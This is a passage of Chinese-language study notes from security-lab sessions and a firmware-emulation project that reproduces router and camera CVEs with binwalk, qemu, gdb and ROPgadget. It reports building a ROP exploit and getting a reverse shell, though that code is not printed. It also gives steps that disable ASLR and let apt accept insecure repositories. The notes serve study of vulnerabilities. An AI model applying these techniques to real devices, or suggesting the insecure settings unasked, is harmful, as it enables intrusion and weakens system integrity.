* 在干净数据集上进行检验，测试后门的隐蔽性
* 进行投毒后再测试

干净样本攻击：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fip9CSP9IUMFPDgYE8RMK%2Fimage-20240724150041491.png?alt=media&amp;token=6bf7ed9d-89d7-440b-9ab9-96b1250b862c" alt="" width="375"><figcaption></figcaption></figure>

#### Lab3：隐私窃取

重要问题：

* 能否偷到模型原始训练数据？
* 能否推断某个数据是否存在某数据集中？
* 能否窃取模型的参数、架构、超参？

方法：梯度匹配

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FtybHe8E3O15r7X7hysNU%2Fimage-20240724144457673.png?alt=media&amp;token=14d67b26-3d60-42c8-b04e-426740633d38" alt="" width="375"><figcaption></figcaption></figure>

将真实梯度与虚假梯度的差作为损失函数，通过迭代的方法尝试求解最小值，过程类似于将计算性问题转化成判定性问题

## Day 4

> July 25，互联网基础设施安全实践，清华段海新团队（qianxin）

（今天非常有意思，很开心的一天，虽然又是小白被虐暴的剧情hhh

### Background

THU NISL 一系列成果（亚洲第一世界第三）

[云环境中DNS负载均衡攻击](https://www.jianjunchen.com/p/silence-is-not-golden.CCS23.pdf)

### Practice

> 利用掌握的安全分析知识，对此次事件进行分析，提交事件分析报告，尝试分析出攻击者的攻击手法、途径、残留样本、连接的C2、攻击者真实IP等所有与此次事件相关的线索，揪出幕后的攻击者！

[DataCon 7.25](https://docs.qq.com/doc/DS2R0WUxFTkhWTnN5)由于本实验为内部实验，所以不公开相应 WP

## Day 5

> July 26，安全漏洞的时空穿越之旅，上交李卷孺团队

（时间太紧凑了，没给时间做

### Background

[Smashing The Stack For Fun And Profit](http://phrack.com/issues/49/14.html#article)

抛开所有的理论，返璞归真，想想计算机不就是去一个地方取值，译码后执行，如此循环往复（计算机只有 n 个寄存器的记忆）

> 如何提高性能？
>
> * 把不会 C 的拉出去枪毙
> * 不行就把 C 写得不好的拉出去枪毙

Morris Worm，1988/11/2，邮件提权、口令爆破、.rhosts feature

Bill Joy，UCB，1978，BSD

[UNIX Tree(sc)](http://tuhs.org/cgi-bin/utree.pl?)

Ariel Futoransky，deattack.c，整数溢出导致越界写

### Practice

#### Lab 1

> So, we have **512 bytes of data, 16 bytes of stack frame to zero out, and 4 bytes for PC**. That means **532 bytes total**.

参考资料：

* [morris-worm 复现](https://www.rapid7.com/blog/post/2019/01/02/the-ghost-of-exploits-past-a-deep-dive-into-the-morris-worm/)
* [metasploit 安装](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html)

上古时代的计算机程序 C 占一大半，写 C 是一种浪漫。收获：增添了**历史**的视角去看计算机，不管是语言还是库的实现，在不同历史阶段是不同的

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F88kuLoqvTnpf77g6tpqT%2Fimage.png?alt=media&amp;token=369b1fc6-3e28-4cb2-abd8-ab33741b0eac" alt=""><figcaption></figcaption></figure>

#### Lab 2

参考资料：

* [ssh 漏洞复现](https://crypto.sjtu.edu.cn/summer/sjtu-lab2/ssh-exploit-explained.txt)


# 固件仿真

本学期上了一门《网络安全》，由于课程实验过于水，因此选择做“固件安全” project 来替代课程实验。project 分为静态分析和固件仿真两部分，权衡之下决定尝试固件仿真，特此记录学习过程。

## 前言

本文主要分为两个部分，第一个部分介绍相关工具以及获取固件的思路，第二部分分享固件仿真的过程，主要是参考仿真教程进行复现，以及复现过程中的一些思考。仿真的内容总结如下：

| 品牌              | 服务           | 复现os环境                                | 仿真阻碍                                                                                                            | 解决办法                                                                                        |
| --------------- | ------------ | ------------------------------------- | --------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| vivotek         | httpd（系统级仿真） | wsl2.kali                             | <ol><li>不理解 binwalk -E 参数；</li><li>不理解 gdb 及其远程调试原理</li></ol>                                                   | <ol><li>找 blog 看原理分析；</li><li>查 gdb manual</li></ol>                                        |
| TENDA-AC15      | httpd（用户级仿真） | wsl2.kali                             | <ol><li>在 IDA 中 patch program 未果</li></ol>                                                                      | <ol><li>换 ghidra，右键使用 “Patch Instruction”</li></ol>                                         |
| Cisco           | httpd（系统级仿真） | wsl2.kali -> archlinux -> ubuntu22.04 | <ol><li>在 kali 中无法启动 tap0 网卡；</li><li>在 archlinux 中用 binwalk 解包导致磁盘空间爆炸</li><li>根据 busybox 的属性需要配置 ld</li></ol> | <ol><li>换其它 os 继续复现；</li><li>换其他 os 或 binwalk 中添加 “-r” 参数</li><li>配置交叉编译工具链，提供解释器</li></ol> |
| TOTOLINK A3700R | lighttpd     | archlinux                             | <ol><li>需使用非 qemu 工具进行仿真：debootstrap、schroot</li></ol>                                                          | <ol><li>多试几遍，熟悉即可</li></ol>                                                                 |
| Zyxel           | -            | archlinux                             | <ol><li>由于 archlinux 的高度自定义，缺少很多底层依赖；</li><li>在直接解包 .bin 不可行的前提下，bypass 思路的获取</li></ol>                         | <ol><li>了解缺少依赖项的原理并补全依赖项；</li><li>查看官方文档，从应急系统 .ri 中解包文件系统，绕过 .bin 的强加密</li></ol>           |

在展开相关内容之前，有必要再啰嗦两句关于固件的概念。固件，firmware，介于硬件和 os 之间（有时候划分也比较模糊，不必太过较真），主要负责硬件设备的初始化，为上层 os 提供接口。简单来说，固件是一个硬件设备当中的可编程的内容。如果读者想要进一步探究固件的概念，不妨参考以下资料：

* [What is the difference between firmware and an operating system?](https://www.quora.com/What-is-the-difference-between-firmware-and-an-operating-system)
* [Difference between Firmware and Operating System](https://www.geeksforgeeks.org/difference-between-firmware-and-operating-system/)
* [驱动与固件的区别是什么？](https://www.zhihu.com/question/22175660/answer/20547502)

## 相关工具与固件获取

仿真过程中，难免与逆向打交道，因此逆向工具是不可或缺的。逆向工具推荐安装 ghidra 和 IDA Pro，关于这两个工具的安装网上有非常详细的教程，不再赘述。以下分享几点使用 ghidra 的 tips：

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F4WYbunB7XnZs1mjyeLEY%2F0.png?alt=media" alt="ghidra" width="375">

第一手资料应参考：

```markup
<ghidra_install_path>/docs/
```

控制命令参考：

* <https://htmlpreview.github.io/?https://github.com/NationalSecurityAgency/ghidra/blob/stable/GhidraDocs/CheatSheet.html>

注意在启动 ghidra 时本地是否开启了 18001 端口。若是通过 ghidraRun.bat 开启，应该是默认没有打开相关端口的，但不排除有其他打开该端口的途径，可以通过 netstat -ano | grep 18001 进行排查。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FS542jL0HHSEzqsk4rVaG%2F3.png?alt=media)

通过 window → defined strings，相当于用 strings 扫描了一遍可执行程序，提取可读字符串，获取编译环境以及程序运行逻辑的信息

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FDQR0q2vYHqg2e9pOAMT8%2F5.png?alt=media" alt=""><figcaption></figcaption></figure>

除了逆向工具之外，binwalk 作为固件解包的利器也是必不可少的。binwalk 的安装方式有两种，一种是通过源直接获取，另一种是通过源代码编译安装，前者快捷方便，后者依赖齐全，读者可根据需要自行选择安装方式。

![binwalk](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FmSsp38KAuhDWFkruS9ah%2F1.png?alt=media)

在坐拥 ghidra、IDA Pro 与 binwalk 三大工具之后，接下来要干的事情是学会如何检索想要的固件。仿真的对象是一个具象的固件，而我们做安全的关心有漏洞的固件，因此检索有漏洞的固件就是我们的目标。漏洞信息从何获取呢？CVE + CWE 是一个可行的方案，以下是使用 CWE 的方法论：&#x20;

关于如何使用 CWE 的经验参考：

* <https://cwe.mitre.org/about/user_stories.html#Security_Architect>

根据 New\_to\_CWE 的建议，我们可以先去搜索“CWE-798: Use of Hard-coded Credentials“该示例来了解 CWE 能为我们提供怎样的信息。

首先，CWE 提供了不同维度的信息呈现方式，个人认为选择 complete / custom 是比较有性价比的，前者提供完整的消息，后者提供定制化的消息。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FdhZGyiovnd96pDuMqqIY%2F6.png?alt=media)

浏览完此示例后，可以总结 CWE 的基本构成为：

* 漏洞原因概述
* 漏洞能力（以伪代码形式呈现）
* 漏洞利用示例（以外链的 CVE 形式）
* 漏洞缓解或防御措施
* 其它相关资料

小结：

* 搜集漏洞的抓手还是 **CVE**，从 CVE 检索相关的 **CWE**，在底层归类漏洞（将 CWE 描述成 CVE 的分类分析器也并无不可），而后再参考 CNVD 交叉判断，提高漏洞信息的可信度。
* 漏洞具体信息的获取：
  * CVE
  * 固件新版本的修复说明
  * 前后版本做 diff
  * 静态分析 + 关键词检索

搜索示例：

从 CWE-798 获取一个漏洞利用示例 CVE-2022-29953，并在 cve.org 中检索，获知受漏洞影响的厂商之一是 Bently Nevada，其产品系列是 3700，并得到一个参考链接。

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F4YQbP1ZZa6OfPsZxQxJO%2F7.png?alt=media" alt="" width="375">

从链接中，我们可以获取漏洞影响的具体版本号。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FYm6hNU6yQCt5XWLVXcV5%2F8.png?alt=media)

尝试从官网 support 获取 support，但是需要登录。

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FEJgjN3woyJm0HSbzlClJ%2F9.png?alt=media" alt="" width="368">

尝试从 github.com / google 获取固件信息，但 failed。此时可以尝试去论坛再去搜集一波信息，此处不展开。

## 仿真尝试

### VIVOTEK

判断文件是否被加密：

```sh
binwalk -E <firmware_filename>
```

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F3Glv9X8JzD2KPRbEiNRZ%2F10.png?alt=media)

比较奇怪的一点是，熵值非常接近 1，但能够成功解包出文件系统？

* 通过binwalk -Me \<firmware\_filename> 的命令强制解析固件，此时如果可以正常解析出，那么就是**压缩**，否则即为**加密**。

检索了一下 entropy 的计算原理（熵仅是用来衡量不确定性的）：

> **This is a clear example of taking entropy as an accurate measure of randomness is a mistake.** In this case, the randomness of the content is low, and the next value could be predicted by simply adding one unit to the previous value. In this case, **it should be understood is that the bytes have the maximum possible variation**, as each one takes a different value from the previous ones.

检索文件熵时，发现了一篇固件检索技巧可参考，结尾的话令人警醒：

> 解决问题远不止一种。始终注意所分析的固件的上下文环境。不要期待 binwalk 能解决一切。当心存疑虑，不妨换个搜索引擎。试着学点俄语和汉语。习惯于花费数小时来细心研究这些十六进制字节，到最后你会发现这一切都值得。

通过 tree 命令，发现文件系统是 SquashFS。Squashfs（.sfs）是一套供Linux核心使用的GPL开源只读压缩文件系统，常被用于各Linux发行版的LiveCD中，也用于OpenWrt 和DD-WRT 的路由器固件。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FUJVNAXHosA7w1GXHW2p5%2F11.png?alt=media)

通过文件追踪发现 /etc/init.d/httpd 文件有如下参数调用：

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkwH9TkjLAuwYEyfPKRab%2F12.png?alt=media)

将 binpath 所指的可执行文件拖入 IDA，检索字符串常量“Content-Length”可得：

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FIHgP3BaUTLfbRH8zyjXy%2F13.png?alt=media)

检索其交叉引用，可发现下列漏洞函数，用户可写入任意长度的字符串，而不受 Content-length 的限制。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F1fXnnkeiqqJXvZhaI4In%2F14.png?alt=media)

在漏洞复现中，提到“我们先模拟运行vivotek的httpd服务”，需要参考：[https://jackfromeast.site/2021-01/vivotek-vul.html ](<https://jackfromeast.site/2021-01/vivotek-vul.html >)实现。实现后，访问相应 url 可以看到对应的 webUI。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F0zbq0YHIydw1dVC4Z5oL%2F15.png?alt=media" alt=""><figcaption></figcaption></figure>

运行漏洞复现提供的 fuzz 脚本，可以看到对应服务器已经捕获了 SIGSEGV 信号。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FqEwZUwq2orJs9hx5Dqha%2F16.png?alt=media)

可以看到在用户态模拟的情况下，成功触发了 crash，现在我们来尝试系统级仿真，首先下载相关文件，参考：[https://jackfromeast.site/2021-01/vivotek-vul.html ](<https://jackfromeast.site/2021-01/vivotek-vul.html >)。**重启时记得重新分配网卡（网卡会掉），使用 mount / df 可以查看挂载的情况。**

Q：为什么在 gdb 远程 debug 的时候需要提供 same binary？

A：（1）gdb 调试的原理是什么？

gdb程序是父进程，被调试程序是子进程，子进程的所有信号都被父进程gdb来接管，并且父进程gdb可查看、修改子进程的内部信息，包括：堆栈、寄存器等。

![t](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FckFc8DSuBntZBZp4ag9i%2F17.png?alt=media)

gdb 查找调试信息的方式：

* 找 executable.debug
* looks in the .build-id subdirectory of each one of the global debug directories for a file named nn/nnnnnnnn.debug
* Some systems ship pre-built executables and libraries that have a special ‘.gnu\_debugdata’ section. This feature is called MiniDebugInfo. This section holds an LZMA-compressed object and is used to supply extra symbols for backtraces.

是否 strip 的差别在于 symbol information，可用 readelf -S 看到其中的差别。用 strip 并不意味着清除所有的 symbol information，而只是清除掉了 debug 相关的 section 以及一些 func name 的信息

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F6p7ONVadoNOuzcQOdzZH%2F18.png?alt=media)

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkwTswlk0x5N4ncuQ1KhZ%2F19.png?alt=media)

（2）gdbserver 远程调试的原理是什么？

> To avoid having a full symbolic expression evaluator on the agent, GDB translates expressions in the source language into a **simpler bytecode language**, and then sends the bytecode to the agent; the agent then executes the bytecode, and records the values for GDB to retrieve later
>
> Thus, GDB needs a way to ask the target about itself. We haven’t worked out the details yet, but in general, GDB should be able to send the target a packet asking it to describe itself

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FzPuJrfEsxyoInHprk4Fa%2F20.png?alt=media)

在 host machine 下载 gdb-multiarch，使用 gdb-multiarch -q httpd，而后在 qemu 中启动 start\_debug.sh，在 host machine 中通过 gef-remote 192.168.2.2 1234 远程连接，可以查看到实际发包造成 SIGSEGV 的效果，以及sp、pc 寄存器的值被覆盖。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FeTpvjiPlG4k2FTngN58z%2F0.png?alt=media)

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FrClxbgllCYZ8tMKKGA7r%2F1.png?alt=media)

查看安全机制，考虑如何构造 payload。因为 NX 保护开启，所以考虑 ROP 的攻击方式。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fs6HZYOLhlBAxB4TX8XFh%2F2.png?alt=media)

关闭 ASLR：echo 0 > /proc/sys/kernel/randomize\_va\_space

运行 httpd 后，获取 libc 基址。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FuDKP6tGKCsJb4Oq15cmC%2F3.png?alt=media)

通过 ROPgadget 获取可用 gadget：

```sh
ROPgadget --binary ./libuClibc-0.9.33.3-git.so --only "mov|pop" | grep "pc" | grep -v "#"
```

要注意的一点是如果遇到 \x00，要想明白如何处理截断的问题

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkZefPMVUParxIUCy6DWx%2F4.png?alt=media" alt="" width="375">

计算 padding 的长度：

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FWxchbTCREXGnQAI9DJgd%2F5.png?alt=media)

劫持具体 so 文件的依据：

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Febl0nUmXv9MJtgcxNi5P%2F6.png?alt=media)

为了获得 libc 中 system 的地址，需要 pwntools，而 pwntools 需要 python2环境，为了在一台 host machine 上兼容各种 python 版本，用 conda 进行管理（注意 source \~/.bashrc 后生效，以及网络环境可能是 proxy / no proxy）。

在安装过程中，看到下载的包是 .whl 格式，学习到 .whl 格式是在 PEP 427 规定的 python 安装包的格式。

> The wheel filename is {distribution}-{version}(-{build tag})?-{python tag}-{abi tag}-{platform tag}.whl.

在 qemu 中启动 httpd（注意提前关闭 ASLR），运行 exp 成功获得反弹 shell

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FJMdL62fQqkRRj7hN1UZa%2F7.png?alt=media)

### 网络协议 Fuzz

网络协议可分为文本协议与二进制协议，文本协议的特点是数据包内容是可见字符，而二进制协议的特点是数据包内容大部分是不可见字符，通常属于私有协议。

测试框架：

* 文本协议：[Sulley](https://github.com/OpenRCE/sulley) → Boofuzz
  * Sulley 对新用户友好，特色&#x662F;*“Sulley not only has impressive data generation but has taken this a step further and includes many other important aspects a modern fuzzer should provide. ”*
* 二进制协议：[kitty](https://github.com/cisco-sas/kitty)

测试思路：发送请求 → 对目标设备监控和配置设备重启机制 → fuzz

boofuzz 学习：

* [quickstart](https://boofuzz.readthedocs.io/en/stable/user/quickstart.html) 提供了两个基本的例子：ftp + http，基本的想法是启动对应的服务，然后用相关 .py 脚本进行爆破（先规定好对应协议的字段），而后的结果存储在 ./boofuzz-results/\<run-\*.db>，可以用 boo open ./\<run-\*.db> 查看历史 log
* boofuzz 源码：<https://boofuzz.readthedocs.io/en/stable/_modules/boofuzz.html>
* 对于 boofuzz 更加深入的学习：<https://www.iotsec-zone.com/article/322>

![descript](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fy1lXHwYvLm8RGbztsmRY%2F0.png?alt=media)

协议可以理解为是一组动作序列，此时要做的是构造每个字段

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F2ODYrbTJGUKW0NYeK1cl%2F1.png?alt=media)

Boofuzz 实例：复现的背景是CVE-2018-5767 是 TENDA-AC15 型号路由器上的一个漏洞，产生的原因是没有限制用户的输入，使用函数 sscanf 直接将输入拷贝到栈上，导致栈溢出，可以修改返回地址，进而远程执行代码。

参考资料：

* [BooFuzz的简单使用，以CVE-2018-5767为例](https://www.iotsec-zone.com/article/168)

在没有快捷键的情况下，通过如下方式查找常量字符串。看反汇编是在 “IDA View-A” window。“IDA View-A” 有图形视图和文本视图，在空白处右键可进行视图模式的切换。

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fysh1Gaf8VL692Bg1mBmI%2F2.png?alt=media" alt="" width="375">

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FLG290yXEKqjpFDkzvYze%2F3.png?alt=media" alt="" width="209">

用 qemu-arm-static 启动 httpd 发现卡死，通过字符串常量的交叉引用定位到函数

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FUaB4nuIKUsN7RLVdTTR2%2F4.png?alt=media)

为了 patch 分支，尝试安装 Keypatch 未果（需安装 idc module 遇到了 python 版本问题）；尝试安装另一款插件 Patching，但 IDA Pro版本不符合要求；尝试在机器码层面 patch 分支（未弄懂 arm 指令汇编未果）。

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fiac5btElA18oPX0E2XuO%2F5.png?alt=media" alt="" width="375">

切换到 ghidra 下进行尝试，ghidra 右键“Patch Instruction”可直接修改！

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FoRP1fPBDMeXJ0P9V3gJ1%2F6.png?alt=media" alt="" width="375">

再次启动仍然报错，回查 n 处，发现需要 br0 网卡，自行创建 br0 网卡：

```sh
sudo tunctl -t br0
sudo ifconfig br0 192.168.2.3/24
```

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FZNhe7lL7vYx1q3o4tDX9%2F7.png?alt=media" alt="" width="328">

执行 cp -rf ./webroot\_ro/\* ./webroot/，通过 qemu 模拟，最后借助 browser 访问的方式确认启动成功。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FbE1SDDP4IXUk1NnOdTVh%2F8.png?alt=media)

为了 fuzz passwd，应当通过以下两个 condition：

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FScbjo4v6bdRPGjkw42W5%2F9.png?alt=media)

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FnWuOEVK7qXfkE7AhcZs5%2F10.png?alt=media)

在 wsl2 通过 CLI 的方式开启 google-chrome 的代理：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fn4vaZpwQYt3r8wqh6pdo%2F11.png?alt=media" alt=""><figcaption></figcaption></figure>

利用 poc 触发 exception：

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FS4Z7sQv7rLd7DSVnBLVF%2F12.png?alt=media" alt="" width="375">

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FI3C5fPTZYlw0W1LiRlQn%2F13.png?alt=media" alt="" width="375">

### CVE-2023-20073

参考资料：

* <https://bbs.kanxue.com/thread-278240.htm#msg_header_h1_2>

Cisco RV340，RV340W，RV345 和 RV345P 四款型号的路由器中最新固件均存在一个未授权任意文件上传漏洞 （且目前尚未修复），攻击者可以在未授权的情况下将文件上传到 /tmp/upload 目录中，然后利用 upload.cgi 程序中存在的漏洞，最终造成存储型 XSS 攻击。

从思科官网下载固件包：<https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.29>

直接尝试 binwalk -Me 发现无法正常解包，原因是执行失败 ubireader\_extract\_files 程序。尝试安装以下依赖：

```sh
sudo apt install liblzo2-dev
sudo pip3 install python-lzo
sudo pip3 install ubi_reader
```

安装过程中，apt-secure 阻止了相关安装过程，手动 vim /etc/apt/apt.conf.d 添加以下规则：

```sh
Acquire::AllowInsecureRepositories "true";
Acquire::AllowDowngradeToInsecureRepositories "true";
```

为了软链接指向的正确性，利用 <https://github.com/nlitsme/ubidump/blob/master/ubidump.py> 脚本在路径 *\_RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img.extracted/\_40.extracted/\_fw\.gz.extracted/\_0.extracted/\_openwrt-comcerto2000-hgw-rootfs-ubi\_nand.img.extracted/* 下提取 0.ubi，获得文件系统 rootfs。

接下来构造网络通信环境，首先学习网桥的概念：[网桥技术介绍](https://www.h3c.com/cn/d_200805/605742_30003_0.htm#:~:text=%E7%BD%91%E6%A1%A5%EF%BC%88Bridge%EF%BC%89%E6%98%AF%E4%B8%80,%E5%9C%B0%E5%9D%80%E8%B7%AF%E7%94%B1%2D%E8%BD%AC%E6%8D%A2%E7%BD%91%E6%A1%A5%E3%80%82)

kali 自带的 ip 命令还是不够方便，转而通过 apt install bridge-utils 安装 brctl 包，然而遇到了 tap0 网卡无法从 DOWN -> UP 的玄学问题，转战到 archlinux 进行仿真，顺便熟悉一下 archlinux😎然而 archlinux 的 binwalk 解压直接爆炸，转战熟悉的 ubuntu22.04 继续尝试😭

打包压缩 rootfs，传输至 qemu 里，而后执行以下命令：

```sh
chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
```

在新根路径下执行以下命令：

```sh
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
```

用 browser 访问对应 ip 地址，即可访问到对应的 login html

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F98tmYQ3uQxKgK93Vhzpx%2F14.png?alt=media" alt="" width="375">

### CVE-2023-46574

参考资料：

* <https://xz.aliyun.com/t/13688?time__1311=mqmxnQ0Qeq0Dlxx2DUrUAodZiPD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fnode%2F18>

> An issue in **TOTOLINK A3700R v.9.1.2u.6165\_20211012** allows a remote attacker to execute arbitrary code via the **FileName parameter** of the UploadFirmwareFile function.

下载“参考资料”文末的附件，用 sudo binwalk --run-as=root -Me TOTOLINK\_A3700R\_V9.1.2u.6165\_20211012.web。通过 find . -name "cstecgi.cgi" 查找漏洞程序的路径，拖入 ghidra 分析。通过查找字符串 “Filename” 定位漏洞程序的位置，反编译查看代码，但是漏洞并不明显。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fc5tR3NV1Tz63GCZX8bfX%2F15.png?alt=media)

借用作者这张图可以看到，是因为 FileName 没有被过滤而直接放入到 doSystem() 导致了任意代码执行的漏洞。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F6AoS1iAQRH434USVAywg%2F16.png?alt=media)

配置 mipsel 环境：

```sh
sudo apt-get install \
schroot debootstrap debian-archive-keyring qemu-user-static binfmt-support
sudo mkdir -p /iotconfig/debootstrap/mipsel # 注意要放置在根目录，而不能放置在自行指定的目录，否则在 schroot 环节会报错
debootstrap --arch=mipsel bookworm /iotconfig/debootstrap/mipsel https://mirrors.aliyun.com/debian
```

<img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FaZcEksPloXjivjFMDakq%2F17.png?alt=media" alt="" width="375">

接下来配置 schroot：sudo vim /etc/schroot/chroot.d/mipsel.conf

```markup
[mipsel]
type=directory
directory=/iotconfig/debootstrap/mipsel/
users=root
groups=root
root-groups=root
```

而后 schroot 进入验证是否配置成功：sudo schroot -c chroot:mipsel -u root

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkGBt1j8xpzI7yI8Cw0DB%2F18.png?alt=media)

